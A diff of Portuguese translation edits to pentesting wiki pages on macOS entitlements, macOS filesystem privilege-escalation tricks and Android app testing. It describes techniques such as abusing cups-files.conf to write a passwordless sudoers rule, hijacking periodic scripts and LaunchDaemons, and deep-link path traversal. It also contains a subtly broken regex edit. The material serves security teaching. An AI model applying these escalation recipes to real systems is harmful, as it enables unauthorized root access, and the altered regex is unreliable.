+Essa permissão permite que outros processos com a permissão **`com.apple.security.cs.debugger`** obtenham o port de tarefa do processo executado pelo binário com essa permissão e **injete código nele**. Confira [**isso para mais informações**](../macos-proces-abuse/macos-ipc-inter-process-communication/index.html).
 
 ### `com.apple.security.cs.debugger`
 
-Aplicativos com o Direito de Ferramenta de Depuração podem chamar `task_for_pid()` para recuperar um port de tarefa válido para aplicativos não assinados e de terceiros com o direito `Get Task Allow` definido como `true`. No entanto, mesmo com o direito da ferramenta de depuração, um depurador **não pode obter os ports de tarefa** de processos que **não têm o direito `Get Task Allow`**, e que, portanto, estão protegidos pela Proteção de Integridade do Sistema. Confira [**isso para mais informações**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_debugger).
+Aplicativos com a Permissão de Ferramenta de Depuração podem chamar `task_for_pid()` para recuperar um port de tarefa válido para aplicativos não assinados e de terceiros com a permissão `Get Task Allow` definida como `true`. No entanto, mesmo com a permissão da ferramenta de depuração, um depurador **não pode obter os ports de tarefa** de processos que **não têm a permissão `Get Task Allow`**, e que, portanto, estão protegidos pela Proteção de Integridade do Sistema. Confira [**isso para mais informações**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_debugger).
 
 ### `com.apple.security.cs.disable-library-validation`
 
-Este direito permite **carregar frameworks, plug-ins ou bibliotecas sem serem assinados pela Apple ou assinados com o mesmo ID de Equipe** que o executável principal, então um atacante poderia abusar de algum carregamento arbitrário de biblioteca para injetar código. Confira [**isso para mais informações**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-library-validation).
+Essa permissão permite **carregar frameworks, plug-ins ou bibliotecas sem serem assinados pela Apple ou assinados com o mesmo ID de Equipe** que o executável principal, então um atacante poderia abusar de algum carregamento arbitrário de biblioteca para injetar código. Confira [**isso para mais informações**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-library-validation).
 
 ### `com.apple.private.security.clear-library-validation`
 
-Este direito é muito semelhante ao **`com.apple.security.cs.disable-library-validation`**, mas **em vez** de **desabilitar diretamente** a validação de biblioteca, permite que o processo **chame uma chamada de sistema `csops` para desabilitá-la**.\
+Essa permissão é muito semelhante à **`com.apple.security.cs.disable-library-validation`**, mas **em vez de** **desabilitar diretamente** a validação de bibliotecas, permite que o processo **chame uma chamada de sistema `csops` para desabilitá-la**.\
 Confira [**isso para mais informações**](https://theevilbit.github.io/posts/com.apple.private.security.clear-library-validation/).
 
 ### `com.apple.security.cs.allow-dyld-environment-variables`
 
-Este direito permite **usar variáveis de ambiente DYLD** que poderiam ser usadas para injetar bibliotecas e código. Confira [**isso para mais informações**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-dyld-environment-variables).
+Essa permissão permite **usar variáveis de ambiente DYLD** que poderiam ser usadas para injetar bibliotecas e código. Confira [**isso para mais informações**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-dyld-environment-variables).
 
 ### `com.apple.private.tcc.manager` ou `com.apple.rootless.storage`.`TCC`
 
-[**De acordo com este blog**](https://objective-see.org/blog/blog_0x4C.html) **e** [**este blog**](https://wojciechregula.blog/post/play-the-music-and-bypass-tcc-aka-cve-2020-29621/), esses direitos permitem **modificar** o banco de dados **TCC**.
+[**De acordo com este blog**](https://objective-see.org/blog/blog_0x4C.html) **e** [**este blog**](https://wojciechregula.blog/post/play-the-music-and-bypass-tcc-aka-cve-2020-29621/), essas permissões permitem **modificar** o banco de dados **TCC**.
 
 ### **`system.install.apple-software`** e **`system.install.apple-software.standar-user`**
 
-Esses direitos permitem **instalar software sem pedir permissões** ao usuário, o que pode ser útil para uma **elevação de privilégio**.
+Essas permissões permitem **instalar software sem pedir permissões** ao usuário, o que pode ser útil para uma **elevação de privilégio**.
 
 ### `com.apple.private.security.kext-management`
 
-Direito necessário para solicitar ao **kernel que carregue uma extensão de kernel**.
+Permissão necessária para solicitar ao **kernel que carregue uma extensão de kernel**.
 
 ### **`com.apple.private.icloud-account-access`**
 
-O direito **`com.apple.private.icloud-account-access`** permite comunicar-se com o serviço XPC **`com.apple.iCloudHelper`**, que fornecerá **tokens do iCloud**.
+A permissão **`com.apple.private.icloud-account-access`** permite comunicar-se com o serviço XPC **`com.apple.iCloudHelper`**, que fornecerá **tokens do iCloud**.
 
-**iMovie** e **Garageband** tinham esse direito.
+**iMovie** e **Garageband** tinham essa permissão.
 
-Para mais **informações** sobre a exploração para **obter tokens do iCloud** desse direito, confira a palestra: [**#OBTS v5.0: "O que acontece no seu Mac, fica no iCloud da Apple?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
+Para mais **informações** sobre a exploração para **obter tokens do iCloud** dessa permissão, confira a palestra: [**#OBTS v5.0: "O que acontece no seu Mac, fica no iCloud da Apple?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
 
 ### `com.apple.private.tcc.manager.check-by-audit-token`
 
-TODO: Não sei o que isso permite fazer
+TODO: Eu não sei o que isso permite fazer
 
 ### `com.apple.private.apfs.revert-to-snapshot`
 
@@ -74,7 +74,7 @@ TODO: No [**este relatório**](https://jhftss.github.io/The-Nightmare-of-Apple-O
 
 ### `keychain-access-groups`
 
-Este direito lista os grupos de **keychain** aos quais o aplicativo tem acesso:
+Essa permissão lista os grupos de **keychain** aos quais o aplicativo tem acesso:
 ```xml
 <key>keychain-access-groups</key>
 <array>
@@ -91,7 +91,7 @@ Concede permissões de **Acesso Completo ao Disco**, uma das permissões mais al
 
 ### **`kTCCServiceAppleEvents`**
 
-Permite que o aplicativo envie eventos para outros aplicativos que são comumente usados para **automatizar tarefas**. Controlando outros aplicativos, pode abusar das permissões concedidas a esses outros aplicativos.
+Permite que o aplicativo envie eventos para outros aplicativos que são comumente usados para **automatizar tarefas**. Controlando outros aplicativos, ele pode abusar das permissões concedidas a esses outros aplicativos.
 
 Como fazê-los pedir a senha do usuário:
 ```bash
@@ -161,3 +161,5 @@ Permitir que o processo **peça todas as permissões do TCC**.
 ### **`kTCCServicePostEvent`**
 
 {{#include ../../../banners/hacktricks-training.md}}
+
+</details>

src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/README.md

@@ -10,7 +10,7 @@ Permissões em um **diretório**:
 - **escrita** - você pode **deletar/escrever** **arquivos** no diretório e pode **deletar pastas vazias**.
 - Mas você **não pode deletar/modificar pastas não vazias** a menos que tenha permissões de escrita sobre elas.
 - Você **não pode modificar o nome de uma pasta** a menos que a possua.
-- **execução** - você está **autorizado a percorrer** o diretório - se você não tiver esse direito, não pode acessar nenhum arquivo dentro dele, ou em quaisquer subdiretórios.
+- **execução** - você está **autorizado a percorrer** o diretório - se você não tiver esse direito, não pode acessar nenhum arquivo dentro dele, ou em subdiretórios.
 
 ### Combinações Perigosas
 
@@ -24,7 +24,7 @@ Com qualquer uma das combinações anteriores, um atacante poderia **injetar** u
 
 ### Caso especial de pasta root R+X
 
-Se houver arquivos em um **diretório** onde **apenas o root tem acesso R+X**, esses **não são acessíveis a mais ninguém**. Portanto, uma vulnerabilidade que permita **mover um arquivo legível por um usuário**, que não pode ser lido devido a essa **restrição**, deste diretório **para outro diferente**, poderia ser abusada para ler esses arquivos.
+Se houver arquivos em um **diretório** onde **apenas o root tem acesso R+X**, esses **não são acessíveis a mais ninguém**. Portanto, uma vulnerabilidade que permita **mover um arquivo legível por um usuário**, que não pode ser lido por causa dessa **restrição**, deste diretório **para outro diferente**, poderia ser abusada para ler esses arquivos.
 
 Exemplo em: [https://theevilbit.github.io/posts/exploiting_directory_permissions_on_macos/#nix-directory-permissions](https://theevilbit.github.io/posts/exploiting_directory_permissions_on_macos/#nix-directory-permissions)
 
@@ -32,7 +32,7 @@ Exemplo em: [https://theevilbit.github.io/posts/exploiting_directory_permissions
 
 ### Arquivo/Pasta permissiva
 
-Se um processo privilegiado estiver escrevendo dados em um **arquivo** que poderia ser **controlado** por um **usuário de menor privilégio**, ou que poderia ter sido **anteriormente criado** por um usuário de menor privilégio. O usuário poderia simplesmente **apontá-lo para outro arquivo** via um link simbólico ou duro, e o processo privilegiado escreverá nesse arquivo.
+Se um processo privilegiado estiver escrevendo dados em um **arquivo** que poderia ser **controlado** por um **usuário de menor privilégio**, ou que poderia ter sido **criado anteriormente** por um usuário de menor privilégio. O usuário poderia simplesmente **apontá-lo para outro arquivo** via um link simbólico ou duro, e o processo privilegiado escreverá nesse arquivo.
 
 Verifique nas outras seções onde um atacante poderia **abusar de uma escrita arbitrária para escalar privilégios**.
 
@@ -86,7 +86,7 @@ ls -lO /tmp/asd
 ```
 ### defvfs mount
 
-Um **devfs** mount **não suporta xattr**, mais informações em [**CVE-2023-32364**](https://gergelykalman.com/CVE-2023-32364-a-macOS-sandbox-escape-by-mounting.html)
+Uma montagem **devfs** **não suporta xattr**, mais informações em [**CVE-2023-32364**](https://gergelykalman.com/CVE-2023-32364-a-macOS-sandbox-escape-by-mounting.html)
 ```bash
 mkdir /tmp/mnt
 mount_devfs -o noowners none "/tmp/mnt"
@@ -97,7 +97,7 @@ xattr: [Errno 1] Operation not permitted: '/tmp/mnt/lol'
 ```
 ### writeextattr ACL
 
-Este ACL impede a adição de `xattrs` ao arquivo
+Este ACL impede a adição de `xattrs` ao arquivo.
 ```bash
 rm -rf /tmp/test*
 echo test >/tmp/test
@@ -195,7 +195,7 @@ No entanto, existem alguns arquivos cuja assinatura não será verificada, estes
 </dict>
 <key>rules2</key>
 ...
-<key>^(.*/)?\.DS_Store$</key>
+<key>^(.*/index.html)?\.DS_Store$</key>
 <dict>
 <key>omit</key>
 <true/>
@@ -248,14 +248,14 @@ hdiutil detach /private/tmp/mnt 1>/dev/null
 # You can also create a dmg from an app using:
 hdiutil create -srcfolder justsome.app justsome.dmg
 ```
-Normalmente, o macOS monta discos conversando com o serviço Mach `com.apple.DiskArbitrarion.diskarbitrariond` (fornecido por `/usr/libexec/diskarbitrationd`). Se você adicionar o parâmetro `-d` ao arquivo plist do LaunchDaemons e reiniciar, ele armazenará logs em `/var/log/diskarbitrationd.log`.\
+Normalmente, o macOS monta discos conversando com o serviço Mach `com.apple.DiskArbitration.diskarbitrationd` (fornecido por `/usr/libexec/diskarbitrationd`). Se você adicionar o parâmetro `-d` ao arquivo plist do LaunchDaemons e reiniciar, ele armazenará logs em `/var/log/diskarbitrationd.log`.\
 No entanto, é possível usar ferramentas como `hdik` e `hdiutil` para se comunicar diretamente com o kext `com.apple.driver.DiskImages`.
 
 ## Escritas Arbitrárias
 
 ### Scripts sh periódicos
 
-Se o seu script puder ser interpretado como um **shell script**, você poderá sobrescrever o **`/etc/periodic/daily/999.local`** shell script que será acionado todos os dias.
+Se seu script puder ser interpretado como um **shell script**, você poderá sobrescrever o **`/etc/periodic/daily/999.local`** shell script que será acionado todos os dias.
 
 Você pode **fingir** uma execução deste script com: **`sudo periodic daily`**
 
@@ -278,21 +278,21 @@ Escreva um **LaunchDaemon** arbitrário como **`/Library/LaunchDaemons/xyz.hackt
 </dict>
 </plist>
 ```
-Gere o script `/Applications/Scripts/privesc.sh` com os **comandos** que você gostaria de executar como root.
+Just generate the script `/Applications/Scripts/privesc.sh` com os **comandos** que você gostaria de executar como root.
 
 ### Sudoers File
 
-Se você tiver **escrita arbitrária**, pode criar um arquivo dentro da pasta **`/etc/sudoers.d/`** concedendo a si mesmo privilégios de **sudo**.
+Se você tiver **escrita arbitrária**, você poderia criar um arquivo dentro da pasta **`/etc/sudoers.d/`** concedendo a si mesmo privilégios de **sudo**.
 
 ### PATH files
 
-O arquivo **`/etc/paths`** é um dos principais locais que preenche a variável de ambiente PATH. Você deve ser root para sobrescrevê-lo, mas se um script de **processo privilegiado** estiver executando algum **comando sem o caminho completo**, você pode ser capaz de **sequestar** isso modificando este arquivo.
+O arquivo **`/etc/paths`** é um dos principais lugares que preenche a variável de ambiente PATH. Você deve ser root para sobrescrevê-lo, mas se um script de **processo privilegiado** estiver executando algum **comando sem o caminho completo**, você pode ser capaz de **sequestrá-lo** modificando este arquivo.
 
 Você também pode escrever arquivos em **`/etc/paths.d`** para carregar novas pastas na variável de ambiente `PATH`.
 
 ### cups-files.conf
 
-Esta técnica foi usada em [este artigo](https://www.kandji.io/blog/macos-audit-story-part1).
+Esta técnica foi usada em [this writeup](https://www.kandji.io/blog/macos-audit-story-part1).
 
 Crie o arquivo `/etc/cups/cups-files.conf` com o seguinte conteúdo:
 ```
@@ -300,7 +300,7 @@ ErrorLog /etc/sudoers.d/lpe
 LogFilePerm 777
 <some junk>
 ```
-Isso criará o arquivo `/etc/sudoers.d/lpe` com permissões 777. O lixo extra no final é para acionar a criação do log de erros.
+Isto criará o arquivo `/etc/sudoers.d/lpe` com permissões 777. O lixo extra no final é para acionar a criação do log de erros.
 
 Em seguida, escreva em `/etc/sudoers.d/lpe` a configuração necessária para escalar privilégios como `%staff ALL=(ALL) NOPASSWD:ALL`.
 
@@ -308,11 +308,11 @@ Depois, modifique o arquivo `/etc/cups/cups-files.conf` novamente indicando `Log
 
 ### Sandbox Escape
 
-É possível escapar do sandbox do macOS com uma gravação arbitrária de FS. Para alguns exemplos, consulte a página [macOS Auto Start](../../../../macos-auto-start-locations.md), mas um comum é escrever um arquivo de preferências do Terminal em `~/Library/Preferences/com.apple.Terminal.plist` que executa um comando na inicialização e chamá-lo usando `open`.
+É possível escapar do sandbox do macOS com uma gravação arbitrária de FS. Para alguns exemplos, verifique a página [macOS Auto Start](../../../../macos-auto-start-locations.md), mas um comum é escrever um arquivo de preferências do Terminal em `~/Library/Preferences/com.apple.Terminal.plist` que executa um comando na inicialização e chamá-lo usando `open`.
 
 ## Gerar arquivos graváveis como outros usuários
 
-Isso gerará um arquivo que pertence ao root e que é gravável por mim ([**código daqui**](https://github.com/gergelykalman/brew-lpe-via-periodic/blob/main/brew_lpe.sh)). Isso também pode funcionar como privesc:
+Isto gerará um arquivo que pertence ao root e que é gravável por mim ([**código daqui**](https://github.com/gergelykalman/brew-lpe-via-periodic/blob/main/brew_lpe.sh)). Isso também pode funcionar como privesc:
 ```bash
 DIRNAME=/usr/local/etc/periodic/daily
 
@@ -330,7 +330,7 @@ echo $FILENAME
 
 <details>
 
-<summary>Código de Exemplo do Produtor</summary>
+<summary>Exemplo de Código do Produtor</summary>
 ```c
 // gcc producer.c -o producer -lrt
 #include <fcntl.h>
@@ -424,11 +424,11 @@ return 0;
 
 **Descritores protegidos do macOS** são um recurso de segurança introduzido no macOS para aumentar a segurança e a confiabilidade das **operações de descritores de arquivo** em aplicativos de usuário. Esses descritores protegidos fornecem uma maneira de associar restrições específicas ou "guardas" com descritores de arquivo, que são aplicadas pelo kernel.
 
-Esse recurso é particularmente útil para prevenir certas classes de vulnerabilidades de segurança, como **acesso não autorizado a arquivos** ou **condições de corrida**. Essas vulnerabilidades ocorrem quando, por exemplo, uma thread está acessando uma descrição de arquivo, dando **acesso a outra thread vulnerável sobre ela** ou quando um descritor de arquivo é **herdado** por um processo filho vulnerável. Algumas funções relacionadas a essa funcionalidade são:
+Esse recurso é particularmente útil para prevenir certas classes de vulnerabilidades de segurança, como **acesso não autorizado a arquivos** ou **condições de corrida**. Essas vulnerabilidades ocorrem quando, por exemplo, uma thread está acessando uma descrição de arquivo, dando **acesso a outra thread vulnerável** ou quando um descritor de arquivo é **herdado** por um processo filho vulnerável. Algumas funções relacionadas a essa funcionalidade são:
 
 - `guarded_open_np`: Abre um FD com uma guarda
 - `guarded_close_np`: Fecha-o
-- `change_fdguard_np`: Altera as flags de guarda em um descritor (até removendo a proteção da guarda)
+- `change_fdguard_np`: Altera as flags de guarda em um descritor (até removendo a proteção de guarda)
 
 ## Referências
 

src/mobile-pentesting/android-app-pentesting/README.md

@@ -13,9 +13,9 @@ android-applications-basics.md
 ## ADB (Android Debug Bridge)
 
 Esta é a principal ferramenta que você precisa para se conectar a um dispositivo Android (emulado ou físico).\
-**ADB** permite controlar dispositivos tanto via **USB** quanto via **Rede** a partir de um computador. Esta utilidade possibilita a **cópia** de arquivos em ambas as direções, **instalação** e **desinstalação** de aplicativos, **execução** de comandos de shell, **backup** de dados, **leitura** de logs, entre outras funções.
+**ADB** permite controlar dispositivos tanto via **USB** quanto **Rede** a partir de um computador. Esta utilidade possibilita a **cópia** de arquivos em ambas as direções, **instalação** e **desinstalação** de aplicativos, **execução** de comandos de shell, **backup** de dados, **leitura** de logs, entre outras funções.
 
-Dê uma olhada na lista de [**Comandos ADB**](adb-commands.md) para aprender como usar o adb.
+Dê uma olhada na seguinte lista de [**Comandos ADB**](adb-commands.md) para aprender como usar o adb.
 
 ## Smali
 
@@ -60,7 +60,7 @@ Preste atenção especial às **URLs do firebase** e verifique se está mal conf
 
 ### Compreensão básica da aplicação - Manifest.xml, strings.xml
 
-A **examinação dos arquivos \_Manifest.xml**_\*\* e \*\*_**strings.xml**\_\*\* pode revelar potenciais vulnerabilidades de segurança\*\*. Esses arquivos podem ser acessados usando decompiladores ou renomeando a extensão do arquivo APK para .zip e, em seguida, descompactando-o.
+A **examinação dos arquivos \_Manifest.xml**_\*\* e \*\*_**strings.xml**\_\*\* de uma aplicação pode revelar potenciais vulnerabilidades de segurança\*\*. Esses arquivos podem ser acessados usando decompiladores ou renomeando a extensão do arquivo APK para .zip e, em seguida, descompactando-o.
 
 **Vulnerabilidades** identificadas a partir do **Manifest.xml** incluem:
 
@@ -95,7 +95,7 @@ Mais informações em:
 android-task-hijacking.md
 {{#endref}}
 
-### Armazenamento de dados inseguro
+### Armazenamento de dados inseguros
 
 **Armazenamento Interno**
 
@@ -177,11 +177,11 @@ Leia a página a seguir para aprender como acessar facilmente o código C# de ap
 
 ### Aplicações Superpacked
 
-De acordo com este [**post de blog**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/), superpacked é um algoritmo Meta que comprime o conteúdo de uma aplicação em um único arquivo. O blog fala sobre a possibilidade de criar um aplicativo que descompacte esses tipos de aplicativos... e uma maneira mais rápida que envolve **executar a aplicação e coletar os arquivos descompactados do sistema de arquivos.**
+De acordo com este [**post de blog**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/), superpacked é um algoritmo Meta que comprime o conteúdo de uma aplicação em um único arquivo. O blog fala sobre a possibilidade de criar um aplicativo que descompacte esse tipo de aplicativo... e uma maneira mais rápida que envolve **executar a aplicação e coletar os arquivos descompactados do sistema de arquivos.**
 
 ### Análise Estática Automatizada de Código
 
-A ferramenta [**mariana-trench**](https://github.com/facebook/mariana-trench) é capaz de encontrar **vulnerabilidades** ao **escanear** o **código** da aplicação. Esta ferramenta contém uma série de **fontes conhecidas** (que indicam ao ferramenta os **lugares** onde a **entrada** é **controlada pelo usuário**), **sinks** (que indicam ao ferramenta **lugares perigosos** onde a entrada maliciosa do usuário pode causar danos) e **regras**. Essas regras indicam a **combinação** de **fontes-sinks** que indicam uma vulnerabilidade.
+A ferramenta [**mariana-trench**](https://github.com/facebook/mariana-trench) é capaz de encontrar **vulnerabilidades** ao **escanear** o **código** da aplicação. Esta ferramenta contém uma série de **fontes conhecidas** (que indicam à ferramenta os **lugares** onde a **entrada** é **controlada pelo usuário**), **sinks** (que indicam à ferramenta **lugares perigosos** onde a entrada maliciosa do usuário pode causar danos) e **regras**. Essas regras indicam a **combinação** de **fontes-sinks** que indica uma vulnerabilidade.
 
 Com esse conhecimento, **mariana-trench revisará o código e encontrará possíveis vulnerabilidades nele**.
 
@@ -237,7 +237,7 @@ Graças à conexão ADB, você pode usar **Drozer** e **Frida** dentro dos emula
 avd-android-virtual-device.md
 {{#endref}}
 
-- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Versão gratuita:** Edição Pessoal, você precisa criar uma conta. _É recomendado **baixar** a versão **COM**_ _**VirtualBox** para evitar erros potenciais._)
+- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Versão gratuita:** Edição Pessoal, você precisa criar uma conta. _É recomendável **baixar** a versão **COM**_ _**VirtualBox** para evitar erros potenciais._)
 - [**Nox**](https://es.bignox.com) (Gratuito, mas não suporta Frida ou Drozer).
 
 > [!NOTE]
@@ -259,8 +259,8 @@ Você precisa ativar as opções de **depuração** e será legal se você puder
 4. Pressione **Número da versão** 7 vezes.
 5. Volte e você encontrará as **Opções de desenvolvedor**.
 
-> Uma vez que você tenha instalado a aplicação, a primeira coisa que você deve fazer é testá-la e investigar o que ela faz, como funciona e se familiarizar com ela.\
-> Eu sugeriria **realizar esta análise dinâmica inicial usando a análise dinâmica do MobSF + pidcat**, para que possamos **aprender como a aplicação funciona** enquanto o MobSF **captura** muitos **dados interessantes** que você pode revisar mais tarde.
+> Uma vez que você tenha instalado a aplicação, a primeira coisa que deve fazer é testá-la e investigar o que ela faz, como funciona e se familiarizar com ela.\
+> Sugiro que **realize esta análise dinâmica inicial usando a análise dinâmica do MobSF + pidcat**, para que possamos **aprender como a aplicação funciona** enquanto o MobSF **captura** muitos **dados interessantes** que você pode revisar mais tarde.
 
 ### Vazamento de Dados Não Intencionais
 
@@ -269,16 +269,16 @@ Você precisa ativar as opções de **depuração** e será legal se você puder
 Os desenvolvedores devem ter cuidado ao expor **informações de depuração** publicamente, pois isso pode levar a vazamentos de dados sensíveis. As ferramentas [**pidcat**](https://github.com/JakeWharton/pidcat) e `adb logcat` são recomendadas para monitorar logs de aplicações para identificar e proteger informações sensíveis. **Pidcat** é preferido por sua facilidade de uso e legibilidade.
 
 > [!WARNING]
-> Note que a partir de **versões mais recentes que Android 4.0**, **as aplicações só podem acessar seus próprios logs**. Portanto, as aplicações não podem acessar os logs de outros aplicativos.\
+> Note que a partir de **versões mais recentes que o Android 4.0**, **as aplicações só podem acessar seus próprios logs**. Portanto, as aplicações não podem acessar os logs de outros aplicativos.\
 > De qualquer forma, ainda é recomendado **não registrar informações sensíveis**.
 
 **Cache de Buffer de Copiar/Colar**
 
-O framework **baseado em clipboard** do Android permite funcionalidade de copiar e colar em aplicativos, mas apresenta um risco, pois **outros aplicativos** podem **acessar** o clipboard, potencialmente expondo dados sensíveis. É crucial **desabilitar funções de copiar/colar** para seções sensíveis de uma aplicação, como detalhes de cartão de crédito, para evitar vazamentos de dados.
+O framework **baseado em clipboard** do Android permite a funcionalidade de copiar e colar em aplicativos, mas apresenta um risco, pois **outros aplicativos** podem **acessar** o clipboard, potencialmente expondo dados sensíveis. É crucial **desabilitar funções de copiar/colar** para seções sensíveis de uma aplicação, como detalhes de cartão de crédito, para evitar vazamentos de dados.
 
 **Logs de Crash**
 
-Se uma aplicação **crash** e **salvar logs**, esses logs podem ajudar atacantes, especialmente quando a aplicação não pode ser revertida. Para mitigar esse risco, evite registrar em crashes, e se os logs precisarem ser transmitidos pela rede, assegure-se de que sejam enviados através de um canal SSL para segurança.
+Se uma aplicação **crash** e **salva logs**, esses logs podem ajudar atacantes, especialmente quando a aplicação não pode ser revertida. Para mitigar esse risco, evite registrar em crashes, e se os logs precisarem ser transmitidos pela rede, assegure-se de que sejam enviados através de um canal SSL para segurança.
 
 Como pentester, **tente dar uma olhada nesses logs**.
 
@@ -286,7 +286,7 @@ Como pentester, **tente dar uma olhada nesses logs**.
 
 As aplicações frequentemente integram serviços como Google Adsense, que podem inadvertidamente **vazar dados sensíveis** devido à implementação inadequada pelos desenvolvedores. Para identificar possíveis vazamentos de dados, é aconselhável **interceptar o tráfego da aplicação** e verificar se há informações sensíveis sendo enviadas para serviços de terceiros.
 
-### Bancos de Dados SQLite
+### SQLite DBs
 
 A maioria das aplicações usará **bancos de dados SQLite internos** para salvar informações. Durante o pentest, dê uma **olhada** nos **bancos de dados** criados, os nomes das **tabelas** e **colunas** e todos os **dados** salvos, pois você pode encontrar **informações sensíveis** (o que seria uma vulnerabilidade).\
 Os bancos de dados devem estar localizados em `/data/data/the.package.name/databases` como `/data/data/com.mwr.example.sieve/databases`.
@@ -331,12 +331,12 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
 
 Se o tapjacking não for prevenido, você pode abusar da atividade exportada para fazer o **usuário realizar ações inesperadas**. Para mais informações sobre [**o que é Tapjacking siga o link**](#tapjacking).
 
-### Explorando Provedores de Conteúdo - Acessando e manipulando informações sensíveis
+### Explorando Content Providers - Acessando e manipulando informações sensíveis
 
-[**Leia isso se você quiser relembrar o que é um Provedor de Conteúdo.**](android-applications-basics.md#content-provider)\
-Provedores de conteúdo são basicamente usados para **compartilhar dados**. Se um aplicativo tiver provedores de conteúdo disponíveis, você pode ser capaz de **extrair dados sensíveis** deles. Também é interessante testar possíveis **injeções SQL** e **Path Traversals**, pois podem ser vulneráveis.
+[**Leia isso se você quiser relembrar o que é um Content Provider.**](android-applications-basics.md#content-provider)\
+Content providers são basicamente usados para **compartilhar dados**. Se um aplicativo tiver content providers disponíveis, você pode ser capaz de **extrair dados sensíveis** deles. Também é interessante testar possíveis **injeções SQL** e **Path Traversals**, pois podem ser vulneráveis.
 
-[**Aprenda como explorar Provedores de Conteúdo com Drozer.**](drozer-tutorial/index.html#content-providers)
+[**Aprenda como explorar Content Providers com Drozer.**](drozer-tutorial/index.html#content-providers)
 
 ### **Explorando Serviços**
 
@@ -351,7 +351,7 @@ Um serviço é basicamente algo que **pode receber dados**, **processá-los** e
 [**Leia isso se você quiser relembrar o que é um Broadcast Receiver.**](android-applications-basics.md#broadcast-receivers)\
 Lembre-se de que as ações de um Broadcast Receiver começam no método `onReceive`.
 
-Um broadcast receiver estará esperando por um tipo de mensagem. Dependendo de como o receptor lida com a mensagem, ele pode ser vulnerável.\
+Um broadcast receiver estará aguardando um tipo de mensagem. Dependendo de como o receptor lida com a mensagem, ele pode ser vulnerável.\
 [**Aprenda como explorar Broadcast Receivers com Drozer.**](#exploiting-broadcast-receivers)
 
 ### **Explorando Schemes / Deep links**
@@ -361,7 +361,7 @@ Você pode **abrir** um **scheme** declarado usando **adb** ou um **navegador**:
 ```bash
 adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name]
 ```
-_Observe que você pode **omitir o nome do pacote** e o dispositivo móvel chamará automaticamente o aplicativo que deve abrir esse link._
+_Observe que você pode **omitir o nome do pacote** e o celular chamará automaticamente o aplicativo que deve abrir esse link._
 ```markup
 <!-- Browser regular link -->
 <a href="scheme://hostname/path?param=value">Click me</a>
@@ -381,7 +381,7 @@ Toda vez que você encontrar um deep link, verifique se **não está recebendo d
 **Parâmetros no caminho**
 
 Você **também deve verificar se algum deep link está usando um parâmetro dentro do caminho** da URL como: `https://api.example.com/v1/users/{username}`, nesse caso você pode forçar uma travessia de caminho acessando algo como: `example://app/users?username=../../unwanted-endpoint%3fparam=value`.\
-Note que se você encontrar os endpoints corretos dentro do aplicativo, pode ser capaz de causar um **Open Redirect** (se parte do caminho for usada como nome de domínio), **assumir a conta** (se você puder modificar os detalhes dos usuários sem o token CSRF e o endpoint vulnerável usar o método correto) e qualquer outra vulnerabilidade. Mais [info sobre isso aqui](http://dphoeniixx.com/2020/12/13-2/).
+Note que se você encontrar os endpoints corretos dentro da aplicação, pode ser capaz de causar um **Open Redirect** (se parte do caminho for usada como nome de domínio), **assumir a conta** (se você puder modificar os detalhes dos usuários sem o token CSRF e o endpoint vulnerável usar o método correto) e qualquer outra vulnerabilidade. Mais [info sobre isso aqui](http://dphoeniixx.com/2020/12/13-2/).
 
 **Mais exemplos**
 
@@ -419,7 +419,7 @@ Quando o SSL Pinning é implementado, contorná-lo se torna necessário para ins
 
 #### Procurando Vulnerabilidades Comuns na Web
 
-É importante também procurar vulnerabilidades comuns na web dentro do aplicativo. Informações detalhadas sobre como identificar e mitigar essas vulnerabilidades estão além do escopo deste resumo, mas são amplamente cobertas em outros lugares.
+É importante também procurar vulnerabilidades comuns na web dentro da aplicação. Informações detalhadas sobre como identificar e mitigar essas vulnerabilidades estão além do escopo deste resumo, mas são amplamente cobertas em outros lugares.
 
 ### Frida
 
@@ -427,8 +427,8 @@ Quando o SSL Pinning é implementado, contorná-lo se torna necessário para ins
 **Você pode acessar aplicativos em execução e hook métodos em tempo de execução para mudar o comportamento, alterar valores, extrair valores, executar códigos diferentes...**\
 Se você quer fazer pentesting em aplicativos Android, precisa saber como usar o Frida.
 
-- Aprenda a usar o Frida: [**Tutorial Frida**](frida-tutorial/)
-- Alguma "GUI" para ações com Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
+- Aprenda a usar o Frida: [**Tutorial Frida**](frida-tutorial/index.html)
+- Algumas "GUI" para ações com Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
 - Ojection é ótimo para automatizar o uso do Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
 - Você pode encontrar alguns scripts Frida incríveis aqui: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
 - Tente contornar mecanismos de anti-debugging / anti-frida carregando o Frida como indicado em [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (ferramenta [linjector](https://github.com/erfur/linjector-rs))
@@ -446,7 +446,7 @@ python3 fridump3.py -u <PID>
 frida-ps -Uai
 python3 fridump3.py -u "<Name>"
 ```
-Isso irá despejar a memória na pasta ./dump, e lá você pode usar grep com algo como:
+Isso irá despejar a memória na pasta ./dump, e lá você pode grep com algo como:
 ```bash
 strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+$"
 ```
